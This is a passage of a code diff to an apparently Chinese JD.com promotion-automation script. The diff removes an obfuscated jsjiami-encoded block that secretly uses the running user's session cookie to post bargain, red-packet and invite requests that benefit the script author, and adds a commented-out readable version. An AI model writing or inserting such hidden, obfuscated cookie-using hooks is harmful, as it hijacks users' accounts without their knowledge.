+1525,6 @@ function TotalBean() { }) }) } - function getTeam() { return new Promise(async resolve => { $.getTeams = []; @@ -1789,7 +1547,6 @@ function getTeam() { resolve() }) } - function taskUrl(function_id, body = {}) { return { url: `${JD_API_HOST}?functionId=${function_id}&appid=jdsupermarket&clientVersion=8.0.0&client=m&body=${escape(JSON.stringify(body))}&t=${Date.now()}`, @@ -1802,7 +1559,6 @@ function taskUrl(function_id, body = {}) { } } } - /** * 生成随机数字 * @param {number} min 最小值(包含) @@ -1811,7 +1567,6 @@ function taskUrl(function_id, body = {}) { function randomNumber(min = 0, max = 100) { return Math.min(Math.floor(min + Math.random() * (max - min)), max); } - function jsonParse(str) { if (typeof str == "string") { try { @@ -1823,556 +1578,119 @@ function jsonParse(str) { } } } +//==========================以下是给作者助力 免费拿,省钱大赢家等活动====================== +// async function helpAuthor() { +// await barGain();//免费拿 +// await bigWinner();//省钱大赢家 +// } +// async function barGain() { +// let res = await getAuthorShareCode2('https://raw.githubusercontent.com/zero205/updateTeam/main/shareCodes/jd_barGain.json') +// if (!res) { +// $.http.get({url: 'https://purge.jsdelivr.net/gh/zero205/updateTeam@main/shareCodes/jd_barGain.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); +// await $.wait(1000) +// res = await getAuthorShareCode2('https://cdn.jsdelivr.net/gh/zero205/updateTeam@main/shareCodes/jd_barGain.json') +// } +// $.inBargaining = [...(res && res['inBargaining'] || [])] +// $.inBargaining = getRandomArrayElements($.inBargaining, $.inBargaining.length > 3 ? 6 : $.inBargaining.length); +// for (let item of $.inBargaining) { +// if (!item['activityId']) continue; +// const options = { +// url: `https://api.m.jd.com/client.action`, +// headers: { +// 'Host': 'api.m.jd.com', +// 'Content-Type': 'application/x-www-form-urlencoded', +// 'Origin': 'https://h5.m.jd.com', +// 'Accept-Encoding': 'gzip, deflate, br', +// 'Cookie': cookie, +// 'Connection': 'keep-alive', +// 'Accept': 'application/json, text/plain, */*', +// 'User-Agent': 'jdapp;iPhone;9.4.0;14.3;;network/wifi;ADID/;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone10,3;addressid/;supportBestPay/0;appBuild/167541;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +// 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html`, +// 'Accept-Language': 'zh-cn', +// }, +// body: `functionId=cutPriceByUser&body={"activityId": ${item['activityId']},"userName":"","followShop":1,"shopId": ${item['shopId']},"userPic":""}&client=wh5&clientVersion=1.0.0` +// }; +// await $.post(options, (err, ersp, data) => {}) +// } +// } -var _0xod8 = 'jsjiami.com.v6', - _0x36f8 = [_0xod8, 'w5nCv07DimXDomnCksKlDRNlOMKKJyvCtjzChMOhwrTCkcOawqwTEcOm', 'A8O3UMOGw7p1wrfClnIkHMOqVcOswqgEQcKschrCjA==', 'wqHCsMKqwq4FFsOkw4TCvcKmecKfFCTDhsO+UifCk2bChMK4TcKWSMKlwqPDucOWw4A=', 'WAbCo8KSwoAfI8OEw6zCu8OCS0xmGg0NP8OSDcKOwrtzLcOVFcOWw7nDiSXCoMKyw4puLsOawoYwBF43McObSmJv', 'H8Kaw7FNwq3DgMKYw47CvMKfw63DsQ==', 'w6XDssOow65JR8K3w5jCscKlZ8OkByfDjMK1TDXDnSbDjsO+U8ODFsO2wrfCscKOw50qwqtP', 'w70ywrbDjMOf', 'w6fCkyrCijk=', 'aMK0worCnsKaw4UKw4VXwpRm', 'W8KQw4DCslA=', 'w7jCkEDCjQc=', 'bcOYJCnCmA==', 'w4BNZsKZIBLCiCpfKMKnwp4=', 'LMO9TH5nw6ENSDTCo8OGWg==', 'wobDqg8FwowIw4zCn8O6C8KvRcKjPsO3w58ANMKZwoHCt0RKWTBBwp99wqdzQ8KUwpc=', 'wobDqg8FwowIw4zCn8O6C8KvRcKxYMOvw4ZbOcKLwovCvV1IXC5MwpN9w6g8DcOew5k=', 'w688w6RfIw==', 'JcO9cxdH', 'wr8AREDCoQ==', 'w7bCilTCucOj', 'wpXDoz7ChzLCtzrCicKuADhs', 'RMKCwrDDm8OVNDLChsO9RMO0ZQ==', 'LzxIKCJwwonCk8KBw47DkXs=', 'fsKBABbCh3c=', 'OFkALGAgcwdmOsKFKQ==', 'wqDDgsO6wrXDlsOg', 'JsKpwpDCmMKAwotAwph/woAyfsOjBMK4LcKsw41zMcO0wpHDrMOYJ0LCu8K+QHcqT8ODEw==', 'wrTDkcKEwrJa', 'w4s+w7fCh8Ke', 'Z21IQkk=', 'GnAww73CgsOIbMKbw6PCpBoJw7fDpcOmUsKJ', 'U3IRPMODVSl9MBfDjD/Ck3dgIU0owqdjZMKkQ8OKw5E1Fmx2wpnDh8K4Xh3CicKRE8KmY3DDhMKFDWwkwp1nXBUyJMKFVsK8w4fCiDQNQVrDn0hfbibCijTDiTTDnMOSecKawozDsMKgw4J/GX1OcyxZXg4OLcKcwpAIw4EywqzDuxjCpgzDhirCnMOTwoBhw73Dl1wywobCoC/ClWc8wrZow6nDo8OlOcKgMsO0GsOCPMOxw6DDuQLDicOmwofDtsKtwpvDg8OgEgNEwqvDgMKhTcOUKcOYw4l4YcKdEcKbbkrDlsKzVkzDk1o+MMOzwoVXeMKoHsKrJ8ONWhfCisKif0ANwrrCg8KOw5dYNMOeJMO3wpNzw5AVZV3Di8Kcw7BjwqRqWFbDo8KOEUPDlHXDisO/Tx7CoMKswpTDgcOIdTbChcK3w4sjwq1NbsOlw6DDnC/DrVQmT8KGw5VowobDhsOeUx3CusKwwo4LLjnDkn3DpcOcQy5Ow4JhVUnDgjhhwpTDrkVjwprCs8KFwrzDicKTMhHDiGd/aHMTKMKVw5XDtMO+f2TCuFk=', 'woQeUDjDtQHDlcO/w5ZxwozChm5Ba3Rcw6IeE0l7Hn19CsK5FCDCg8KcB8KsMsK8TjENaMOyDsKZwqPDjsORwq/DinLDtjMWBsOkwr9Uw514PsOkTl4Pw73DkUzDiGZMwr3ChXTCmcKx', 'wrIMXG7CtlfCrwk7w5IaKA49CC81w7oJUCXCk8OSw50QHsKpw7UHw5LCg0bChRfDtsOew5XCk8ODwr8ew7x9wprDgsO8', 'BMOew5zColA7wr1zVm7DqMOQwrskO8KIw6IqwrkOdcKVFcKLw4xlwo7ChTDCl2bCicOTBSA2RsOgQ8KQ', 'DmI2w73Dp8KM', 'wpTCssOrwpLCs8K4wqQAw4BTRmrDunEJwpZpZkPClsOQwozCo8OhZcOkw7/Dp8KeOT7DlMK5J3LDgcKHGsOrwoI/QsK2w6rCtg==', 'A8OodARE', 'w4DCq8Ovw5ExcQ==', 'Mz3CtcKUwqU=', 'AihJBSU=', 'TMOAwqs8', 'J8KuwqrCh8KXw5Q=', 'NFk0', 'w7sYw64=', 'wqjDiiPCthLCnwPCucKfORlZGg==', 'IBA+w6Ul', 'wo0+SkLDmQDCncOAOGF8w6NE', 'KHrDlcOHHMKxesOXfxbDi8Oiw7M=', 'w7A6wr8=', 'b8K+cXNvwps=', 'wosPUA==', 'IyMzw70=', 'wqzDnBfCoGonOC4jScOfwrHCsDpoU8Oxw57Cq8KMw63DhMOELnfCnsO8bMK+w5rCjkPCpMKawr3DmQZ8H8OJVcKZw7nClSDDk8K6K17DhT1cwqrCvcKpG8KuHsO9w6Ngwp4yw7PCuBPCnMOJWcO8wq4dW8KPw5LDvsOlw4RZw6fDoQ==', 'wpbCr8K7wqVSFUfChMOkwqDCuFfDnzdzFgwmw6/DhsKbR8K6fcKpwp3CriY0UMK6cw==', 'wqHDv8KvwpZY', 'LiZ+OSMtw4fDlcKdw4bDiDLCrMKCw6DCsknDvGzDpjTCg8OnNDpvT8Ofw6VOw7Jcw7zCqwFcZHjCnSMkw7BJWMOOw6drbyBPdWDCjz8WNjUMwrzDhkN6AhAPw5fDvcKKBsKJZMODw5HDocKoQzIPwodLwrxUQGFoZAM=', 'wpDDgUsVcw==', 'wrfDpyzCsEs=', 'w5IsDgLCmnbCj8OAKBA6wqIAwovClUMgM8OHQFs1OsKKwq4QP8KSUjh7w7I=', 'esKkw4HCmF8=', 'wqfCk3XDn2Q=', 'w7MPw4vCtcKsw7hzw4LChgQ=', 'wo4Oc1rCpQ==', 'PsOlRCJvwoYD', 'WG/CnsO2Exh0', 'QcKJwpzDncOTOw==', 'wqnDkTDCuHhvckgkXg==', 'woHDgTzCnn0=', 'w6zDtsOsw7JTHsO5woPCt8K6bMKlHzHDh8KrAXbDgibDgsKnFsOXFsO+wqrCusKMwpdkwqoGFlg=', 'YMKLBRXCingWb8O1V8O0OAELwrcvDEHCusKIwr7DlQHDi8OGdzLCucOXwoB5wpvDuMOzc3XCnCXCnMK0wrLCksKQw5nCl8Kuw4PCusOuU1DDpEXDkcK8IgFnYcOCw5UAIW7Ck8KYw7PDmgfCv8Obwr/CozZ+McOQw4XCm1lywqMtwrVnGishw63DjxbCpMOpwqwgW8O5OcKtwoLCkMKjwqkfT8Ouw6BZOsKdIg3DrcOdwqDDikfDl8KhCcKkJmnDjsODPkDCikrCrAfDksOGw4BHw4/Dt8KxwqvDuCV/w5kywpvCq8KXwpbDrMKnw69GKC4vCiNlY8K8w73DscKBwp/DoURWwpvDu2HCklXDkCHClcO/w6jDqsOfLMO1w6cqwr4AG8Kaam7Cr8Kja8K5QBFIScKdwq4gMsKiw6wfPQRJaAXCljbDgcKKFcOcMnLDlDQDwpclw4zCiArCkmh5w5UUw7/CmFnDjMOkwqJIA8O4aybCh8KjBwjCqkcVw73DnSgBAFfDksKew4BTwpJcw6zDvcKrFAtpVMO2wpdcwrHDow0JHAUrAWXDvxbCml5lw7vDn8OewqQKWcObw743w65dS8K0SMOnJMKcA8Ogw7R8ZsOVPMOJwqdHV8KYECXCjMOxwp8VE8K7w45BwpLDm8KLw4fDhMKLF1TDksK4w73CvsKXw4gSPgTDjcOhwrDDhcKQwoDCm8O2wpzDgRVsJUwBwqjDsSvCnjvCrWQtA8KjXsOXwqAJDWTChcKhw5cywrs1bxl8EzdAIRVowq7Cu8ONwrLDvsKAwoxfw5Z/wpR6wrViwrUpRMOgWsKFw7nDvMKSw5YrCkpYDj5pRsOuwrA3w5vDqW7DrxvDonfCqMOtwpjDpjI0fjQdSkrCpcOvw6xYw5nDsMO9wq7CuGJiVcKiYMKgwojDmzBkwqgDwpoRwpLCisOVKS/CqVvCoMKxwrw5f0ROHXBPDQLCj39Cw5I0w7PCi8OGDcODI1jDpsOBw7/DmcKCw7rDscKIwrvCjcO7R3k0w7d6wpcnegrDg8KJwqogPcKvNRlHw7LDnAvDtm3CkcKfasOnRybClcOfAMONEyl6w6rChkDDlU4jw6XCnMKfwovDng80bsKFw6JTL0MpCcKRw5kuwq5yw5cgwpzCpkYBQsK+wqLCsMKrSMKTEMOTDsOnw5jDghTCiUk/dcKmw7svwrTDsS8nw7gbwpvCicOWVsKaBcOSw7w3w7/DoxnCninCk8KGT8KEKB3DksKbwr1VbjZSw6/Cu8OFw6V+wp/DkMO/Q8KoUsOHwoE/w6bCm3lNMMK4wo7DocKaw58ew7TChTPDusKmw6PDkydqVS3DsWF1LxNyQMK7DF7DkwjCnjNlJRzDuMOFVSnCixPCp2t3w5/Cv2EcSRzDpBcJwq3Cl10AwovCnDTDpMKKDcOVw4cuG8OGwr8KVVMFw6LDssKPw7UvwoHDksOQRMKTRyZpwqhuwrcpbC8zUwsqesOew4rCokPCm3NXI8OLwo0SwprDplVeX8OMwqnDkE/Dvi4qw6cRw7TCkzrCpmDDiVMowrEnTlHCmxrChcK2w5QPw6ItdMK4wpPDj8ODwrbDnMKtw7EvdzJ0ZcOWPMO+w67Cm8O1wooww7zCjQ/CqsO1w4EuWcOkd8KFwohRwrDCmXQ1ccKmwqoYw4Q5w6hQw5NxwqsyYFjDjQ7ChCtJw7nCizI2w6rCvD/Cjw==', 'w6E/wo7Dtw==', 'wpLDl8Kuw7Ffw57DrsKhwpPCicOYAw==', 'wqIUwrlGwqE=', 'wqMPTWPDjw==', 'EUosE8Kh', 'dcOYwp0CwqY=', 'wq3CqsK4', 'wqXDixfCmX0=', 'wp7Dlwk7wqs=', 'S8KQw4DCtFs9w45/XmzCq8Kew6tpecKMw6cpwrwHdMKWEMKGw5Fmw4XDkG/ChnXDlMKLRGBZTMKnDcOHw6VWah83bEocw4jDt8KEWQtqC2fCjiErwrggwo45ZsKKCk4sAMOtX8Kdw4fCusKpwpXDt8Kbw6BnH8OBwrYgU8ONwoHDgxbCgXDCt10GX8ODw7V+w6XDjmpzw43DhcKBbMKNPsO/DMKlwqJRw4rDg2s+wrrCgMKvwpxNesKFOMOJwp4Lw6rCn2nDgSl8wp3DsUrCuiETwq/DsMKxwrfCkEPCpyrCi8OhLEnDnn8+TzDCjVIEwocHeUnCtcOBURpzX3J0wo3CvQQvZsKPw7lf', 'w4DCisOjw7U2', 'wqXDt1o+b8KpXcOBwq8=', 'w5XDk8O6', 'aMKCwpDDlQ==', 'w55tw6vCg8Olw7rDjMKSw6zDkMOFwo9kJ3QtHsK6wqVpw7TCrD5Cw6U=', 'UWIEPMOAVG8CKhnDlXTDjyc6fRZ6w6khNcO4E8KewoQvFnZ1w5jDlsK8HEXCh8KeDsOoUlDDrMK1R3giwphzTQ4lBMKhR8KhwoTCgAUfTBDCnVxEZzTCrQHDmjrDgcKYOsKOwobDuMK0w5pVJ3JSLjIIQA4E', 'wqTDk8OgwqLCmMKnLyAzwpPCoU7Du1thwqV0w6/DocONwpnCtXUmwpN6A0N0wqPDqF9iwqROwr3DoMOAV8O+wq/Cp8OwNnMDRmrCq8OLwq09w5Row57CumbDow0=', 'wrPDpinCmkY=', 'X8OuOyvCmQ==', 'w63DrMOuw6tUQcKk', 'dUvDisO7wqU=', 'CgHCosK0wqQ=', 'w4xrw5PCqcOB', 'woJpw6/CvGM=', 'LsKiw7AhwpQ=', 'VW9cw7LDgDM1Jw==', 'wovDvxEOwpED', 'wrcWVmjCjlfCsxM=', 'R05xSEo=', 'wrhrw54Yf1cVbcOaOmjDjMKa', 'wq5lw783Vw==', 'w5nCujPCujzDhkBgDsKlw4VGecOowoTCrsOTUcOhKnwD', 'w4DCl8OpQR4=', 'w70jwpLDssO8', 'w4FXUMKIIU/DhmwHcMOxwovDtMOYeE9BfHnCoVVKPxrDqhLCtQ==', 'w5s7wpxuAg==', 'wrHDnzbCoxk=', 'wpzDs8KEwp1e', 'w4PCpMOeXx8=', 'WWbCkcOgGTw=', 'ecOROQ==', 'w5DDpMOqwpHCpcOww5tGw4IBFWbCtSJFwpErbEnClcKLwo7CssO8PsKhw6jDosKYMhnDhMOSLXDDl8KAJ8Ogw5tLAsOwwqHDqkJ8wpYRw4jDl8OaCQ3DslDDuMOmC8ORVwcTTyXDgDvDocKyGEIeRMO/OMKwCAZB', 'LPDjRsjqiINamrdEOitU.Kcom.v6==']; -(function (_0x497a88, _0x40c323, _0x5cbc6c) { - var _0x31af80 = function (_0x4bb9ea, _0x4e1a0e, _0x34c747, _0x560f7d, _0x8aad0c) { - _0x4e1a0e = _0x4e1a0e >> 0x8, _0x8aad0c = 'po'; - var _0x2b6dc7 = 'shift', _0x260b31 = 'push'; - if (_0x4e1a0e < _0x4bb9ea) { - while (--_0x4bb9ea) { - _0x560f7d = _0x497a88[_0x2b6dc7](); - if (_0x4e1a0e === _0x4bb9ea) { - _0x4e1a0e = _0x560f7d; - _0x34c747 = _0x497a88[_0x8aad0c + 'p'](); - } else if (_0x4e1a0e && _0x34c747['replace'](/[LPDRqINrdEOtUK=]/g, '') === _0x4e1a0e) { - _0x497a88[_0x260b31](_0x560f7d); - } - } - _0x497a88[_0x260b31](_0x497a88[_0x2b6dc7]()); - } - return 0x8c0f7; - }; - return _0x31af80(++_0x40c323, _0x5cbc6c) >> _0x40c323 ^ _0x5cbc6c; -}(_0x36f8, 0x1cd, 0x1cd00)); -var _0x2e68 = function (_0x416ea4, _0x539269) { - _0x416ea4 = ~~'0x'['concat'](_0x416ea4); - var _0x2f56b2 = _0x36f8[_0x416ea4]; - if (_0x2e68['mfRnyl'] === undefined) { - (function () { - var _0x211d66 = typeof window !== 'undefined' ? window : typeof process === 'object' && typeof require === 'function' && typeof global === 'object' ? global : this; - var _0x66d59f = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; - _0x211d66['atob'] || (_0x211d66['atob'] = function (_0xbaa77c) { - var _0x19a6c3 = String(_0xbaa77c)['replace'](/=+$/, ''); - for (var _0x549f51 = 0x0, _0x2dbc69, _0x4230db, _0x4dc579 = 0x0, _0x529f3b = ''; _0x4230db = _0x19a6c3['charAt'](_0x4dc579++); ~_0x4230db && (_0x2dbc69 = _0x549f51 % 0x4 ? _0x2dbc69 * 0x40 + _0x4230db : _0x4230db, _0x549f51++ % 0x4) ? _0x529f3b += String['fromCharCode'](0xff & _0x2dbc69 >> (-0x2 * _0x549f51 & 0x6)) : 0x0) { - _0x4230db = _0x66d59f['indexOf'](_0x4230db); - } - return _0x529f3b; - }); - }()); - var _0x1b2bd0 = function (_0x2fdb6b, _0x539269) { - var _0x2dc680 = [], _0x3733ce = 0x0, _0x3e313e, _0x45196b = '', _0x1c8830 = ''; - _0x2fdb6b = atob(_0x2fdb6b); - for (var _0x5acf8e = 0x0, _0x4b7568 = _0x2fdb6b['length']; _0x5acf8e < _0x4b7568; _0x5acf8e++) { - _0x1c8830 += '%' + ('00' + _0x2fdb6b['charCodeAt'](_0x5acf8e)['toString'](0x10))['slice'](-0x2); - } - _0x2fdb6b = decodeURIComponent(_0x1c8830); - for (var _0x45c152 = 0x0; _0x45c152 < 0x100; _0x45c152++) { - _0x2dc680[_0x45c152] = _0x45c152; - } - for (_0x45c152 = 0x0; _0x45c152 < 0x100; _0x45c152++) { - _0x3733ce = (_0x3733ce + _0x2dc680[_0x45c152] + _0x539269['charCodeAt'](_0x45c152 % _0x539269['length'])) % 0x100; - _0x3e313e = _0x2dc680[_0x45c152]; - _0x2dc680[_0x45c152] = _0x2dc680[_0x3733ce]; - _0x2dc680[_0x3733ce] = _0x3e313e; - } - _0x45c152 = 0x0; - _0x3733ce = 0x0; - for (var _0x20cd19 = 0x0; _0x20cd19 < _0x2fdb6b['length']; _0x20cd19++) { - _0x45c152 = (_0x45c152 + 0x1) % 0x100; - _0x3733ce = (_0x3733ce + _0x2dc680[_0x45c152]) % 0x100; - _0x3e313e = _0x2dc680[_0x45c152]; - _0x2dc680[_0x45c152] = _0x2dc680[_0x3733ce]; - _0x2dc680[_0x3733ce] = _0x3e313e; - _0x45196b += String['fromCharCode'](_0x2fdb6b['charCodeAt'](_0x20cd19) ^ _0x2dc680[(_0x2dc680[_0x45c152] + _0x2dc680[_0x3733ce]) % 0x100]); - } - return _0x45196b; - }; - _0x2e68['tYNipz'] = _0x1b2bd0; - _0x2e68['FZiWCB'] = {}; - _0x2e68['mfRnyl'] = !![]; - } - var _0xdd77e0 = _0x2e68['FZiWCB'][_0x416ea4]; - if (_0xdd77e0 === undefined) { - if (_0x2e68['YrRHkM'] === undefined) { - _0x2e68['YrRHkM'] = !![]; - } - _0x2f56b2 = _0x2e68['tYNipz'](_0x2f56b2, _0x539269); - _0x2e68['FZiWCB'][_0x416ea4] = _0x2f56b2; - } else { - _0x2f56b2 = _0xdd77e0; - } - return _0x2f56b2; -}; - -function getRandomArrayElements(_0x455952, _0x3426be) { - var _0x1515be = { - 'ekGdP': function (_0x4eea5a, _0x5bf9e7) { - return _0x4eea5a - _0x5bf9e7; - }, 'xpjNj': function (_0x1a3cad, _0x5b3004) { - return _0x1a3cad + _0x5b3004; - } - }; - let _0x48f7d7 = _0x455952[_0x2e68('0', 'gcEx')](0x0), _0x50a30a = _0x455952['length'], _0x248c18 = _0x1515be[_0x2e68('1', 'THJ&')](_0x50a30a, _0x3426be), _0x44e24d, _0x1fc998; - while (_0x50a30a-- > _0x248c18) { - _0x1fc998 = Math['floor'](_0x1515be['xpjNj'](_0x50a30a, 0x1) * Math['random']()); - _0x44e24d = _0x48f7d7[_0x1fc998]; - _0x48f7d7[_0x1fc998] = _0x48f7d7[_0x50a30a]; - _0x48f7d7[_0x50a30a] = _0x44e24d; - } - return _0x48f7d7[_0x2e68('2', '!8Uv')](_0x248c18); -} - -async function helpAuthor() { - var _0x4cd14c = { - 'hpVGM': 'https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/tools/empty.json', 'kyvMc': _0x2e68('3', '$Ni3'), 'ZGgUT': function (_0x3c511f, _0x3727b9, _0x142178) { - return _0x3c511f(_0x3727b9, _0x142178); - }, 'WfjUY': function (_0x23a12a, _0x4dc817) { - return _0x23a12a > _0x4dc817; - }, 'GvCmh': _0x2e68('4', '[OPZ'), 'UHoZS': _0x2e68('5', 'tcb!'), 'sgkOe': 'https://h5.m.jd.com', 'TVboK': _0x2e68('6', 'tcb!'), 'StsFk': _0x2e68('7', '!J!%') - }; - let _0xaef090 = [], _0x25b6c5 = []; - $['inBargaining'] = [..._0xaef090 && _0xaef090[_0x4cd14c[_0x2e68('9', '0&d]')]] || [], ..._0x25b6c5 && _0x25b6c5[_0x4cd14c[_0x2e68('a', 'B63n')]] || []]; - $[_0x2e68('b', '^rQC')] = _0x4cd14c['ZGgUT'](getRandomArrayElements, $[_0x2e68('c', '7h&V')], _0x4cd14c['WfjUY']($[_0x2e68('d', 'oxIm')][_0x2e68('e', 'uMQ#')], 0x3) ? 0x6 : $[_0x2e68('f', 'WNIn')][_0x2e68('10', '*^Sz')]); - for (let _0x41d51a of $[_0x2e68('f', 'WNIn')]) { - const _0x49d081 = { - 'url': _0x2e68('11', 'Opjc'), - 'headers': { - 'Host': _0x4cd14c[_0x2e68('12', 'Vhx!')], - 'Content-Type': _0x4cd14c[_0x2e68('13', 'yTHr')], - 'Origin': _0x4cd14c[_0x2e68('14', 'XAWK')], - 'Accept-Encoding': _0x2e68('15', '7G1F'), - 'Cookie': cookie, - 'Connection': 'keep-alive', - 'Accept': _0x4cd14c['TVboK'], - 'User-Agent': _0x2e68('16', 'fxE9'), - 'Referer': _0x2e68('17', 'a30X'), - 'Accept-Language': _0x4cd14c['StsFk'] - }, - 'body': _0x2e68('18', '0&d]') + _0x41d51a['activityId'] + _0x2e68('19', 'gcEx') + _0x41d51a[_0x2e68('1a', '7G1F')] + _0x2e68('1b', ']a7e') - }; - await $['post'](_0x49d081, (_0x29f899, _0x4850a3, _0x2444d7) => { - }); - } - await helpOpenRedPacket(); - await aaa(); -} - -function getAuthorShareCode2(_0x424d7e) { - var _0x24ce01 = { - 'MZfvL': function (_0x443fc8, _0x4a95bd) { - return _0x443fc8 !== _0x4a95bd; - }, 'DzCLu': _0x2e68('1c', '[OPZ'), 'tRdln': _0x2e68('1d', 'dzsc'), 'UPHHU': function (_0x224d90, _0x575bb6) { - return _0x224d90 * _0x575bb6; - } - }; - return new Promise(async _0x46e600 => { - _0x46e600([]) - }); -} - -async function helpOpenRedPacket() { - var _0x2c9900 = { - 'RXhIj': function (_0x2e046a, _0x41abdd) { - return _0x2e046a(_0x41abdd); - }, 'FBcBr': '', 'qiqPI': _0x2e68('2c', '5WQo'), 'oUjja': _0x2e68('2d', 'mwCB'), 'ZwAWg': function (_0x272ca6, _0x578e45, _0x5b94be) { - return _0x272ca6(_0x578e45, _0x5b94be); - }, 'WEdgR': function (_0x45a722, _0x413719) { - return _0x45a722(_0x413719); - } - }; - let _0x33822a = [], _0x165138 = []; - $['actId'] = _0x33822a && _0x33822a[_0x2e68('31', 'jv5T')] || _0x2e68('32', 'ndfP'); - if (!_0x33822a) { - _0x33822a = []; - $['actId'] = _0x33822a && _0x33822a[_0x2e68('34', ')FP7')] || _0x2c9900['oUjja']; - } - $[_0x2e68('35', 'yTHr')] = _0x2c9900[_0x2e68('36', '0&d]')](getRandomArrayElements, [..._0x165138 || [], ..._0x33822a && _0x33822a[_0x2e68('37', '[OPZ')] || []], [..._0x165138 || [], ..._0x33822a && _0x33822a[_0x2e68('38', '8E$M')] || []][_0x2e68('39', '7h&V')]); - for (let _0x33c7a5 of $[_0x2e68('3a', '5WQo')]) { - if (!_0x33c7a5) continue; - await _0x2c9900[_0x2e68('3b', 'jv5T')](dismantleRedEnvelope, _0x33c7a5); - } -} - -function dismantleRedEnvelope(_0x32628b) { - var _0x2715f8 = { - 'SIfgq': function (_0xf1745e) { - return _0xf1745e(); - }, - 'RVGKN': _0x2e68('3c', 'vdM@'), - 'FEsQe': 'application/json,\x20text/plain,\x20*/*', - 'RQrwA': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/268.36;apprpd/MyJD_Main;ref/https%3A%2F%2Fopenredpacket-jdlite.jd.com%2F%3Flng%3D118.762833%26lat%3D32.242491%26sid%3D8add69d8890bc7f4919f99fb3190f87w%26un_area%3D12_904_908_57903%23%2Fdemolished%3FactId%3Dfa03b421fc63499f8e7cd2a3434a6934;psq/22;ads/;psn/2618472e6e237c0252a67dffefc09de587946e87|680;jdv/0|kong|t_2008333145_|jingfen|7e4ac355e0dc416a99409fff0461a396|1617205187;adk/;app_device/IOS;pap/JA2020_3112531|3.3.2|IOS\x2014.4.1;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_4_1\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1', - 'GhxEJ': 'https://openredpacket-jdlite.jd.com/', - 'IwEJi': 'zh-cn', - 'yMvRN': _0x2e68('3d', 'uMQ#'), - 'tTbJb': function (_0x4733f8, _0x3efd46) { - return _0x4733f8(_0x3efd46); - }, - 'qRHCD': _0x2e68('3e', 'Z#H#') - }; - const _0x5c5114 = { - 'Host': _0x2e68('3f', 'Vhx!'), - 'Origin': _0x2715f8[_0x2e68('40', 'h#i3')], - 'Accept': _0x2715f8[_0x2e68('41', 'ndfP')], - 'User-Agent': _0x2715f8[_0x2e68('42', '%W8O')], - 'Referer': _0x2715f8['GhxEJ'], - 'Accept-Language': _0x2715f8[_0x2e68('43', '5)7E')], - 'Cookie': cookie - }; - const _0x1d2632 = Date[_0x2e68('44', '#i4u')](); - const _0x190960 = {'packetId': '' + _0x32628b['toString'](), 'actId': $[_0x2e68('45', '5WQo')], 'frontendInitStatus': 's', 'antiToken': _0x2715f8[_0x2e68('46', 'tcb!')], 'platform': 0x3}; - const _0x5ca1cb = _0x2e68('47', 'gcEx') + _0x2715f8[_0x2e68('48', 'dzsc')](escape, JSON[_0x2e68('49', 'tsE!')](_0x190960)) + _0x2e68('4a', 'Vhx!') + _0x1d2632 + _0x2e68('4b', 'Opjc') + _0x1d2632; - const _0x4d361b = {'url': _0x2e68('4c', 'bl@!') + _0x1d2632, 'method': _0x2715f8['qRHCD'], 'headers': _0x5c5114, 'body': _0x5ca1cb}; - return new Promise(_0x572e01 => { - $['post'](_0x4d361b, (_0x30599a, _0x3589ec, _0xc8bbfe) => { - _0x2715f8['SIfgq'](_0x572e01); - }); - }); -} - -async function aaa() { - var _0x23e4e9 = { - 'cCmfO': function (_0x1c3613, _0x295c24) { - return _0x1c3613(_0x295c24); - }, 'tfqVM': _0x2e68('4d', 'fxE9'), 'hwOsZ': function (_0x3b3e35, _0xac9a4e) { - return _0x3b3e35(_0xac9a4e); - }, 'LvEen': _0x2e68('4e', '*^Sz'), 'zrLZW': function (_0x538ef2, _0x193fca) { - return _0x538ef2 !== _0x193fca; - }, 'pROUD': _0x2e68('4f', 'jv5T'), 'gOmhr': _0x2e68('50', '!8Uv'), 'PHhBT': function (_0x34352f, _0x28c1df) { - return _0x34352f(_0x28c1df); - }, 'KePDl': 'https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/tools/empty.json', 'SDREf': function (_0xe348aa, _0x439d0e, _0x3a4d9d) { - return _0xe348aa(_0x439d0e, _0x3a4d9d); - }, 'dkEjF': _0x2e68('51', 'vdM@') - }; - let _0x259e3f = [], _0x1a2c84 = []; - if (!_0x259e3f) { - if (_0x23e4e9[_0x2e68('54', 'bl@!')](_0x23e4e9['pROUD'], _0x23e4e9[_0x2e68('55', 'kkj%')])) { - _0x259e3f = [] - } else { - if (data) data = []; - } - } - $[_0x2e68('57', '6lP7')] = getRandomArrayElements([..._0x1a2c84 || [], ..._0x259e3f || []], [..._0x1a2c84 || [], ..._0x259e3f || []][_0x2e68('58', 'tcb!')]); - for (let _0x25d08c of $[_0x2e68('59', '0&d]')]) { - if (!_0x25d08c['inviter']) continue; - await _0x23e4e9[_0x2e68('5a', 'XAWK')](_618, _0x25d08c[_0x2e68('5b', 'sKj5')], _0x25d08c[_0x23e4e9[_0x2e68('5c', 'sKj5')]]); - } -} - -function _618(_0xce999c, _0x1f93d4, _0xa95934 = _0x2e68('5d', 'THJ&')) { - var _0x57dca3 = { - 'NoURO': function (_0x1dac56, _0x4c3f0b) { - return _0x1dac56 * _0x4c3f0b; - }, 'MRJEY': function (_0x5010ce, _0x247c9c) { - return _0x5010ce + _0x247c9c; - }, 'oTCBl': function (_0x246c0e, _0x2962e1) { - return _0x246c0e === _0x2962e1; - }, 'fBTso': _0x2e68('5e', 'o&TS'), 'qAkiN': _0x2e68('5f', 'Z#H#'), 'LBkoa': _0x2e68('60', '$Ni3') - }; - return new Promise(_0x3fc8e5 => { - var _0x52ac30 = { - 'mlwMu': function (_0x17c032, _0x4fceea) { - return _0x57dca3[_0x2e68('61', '!J!%')](_0x17c032, 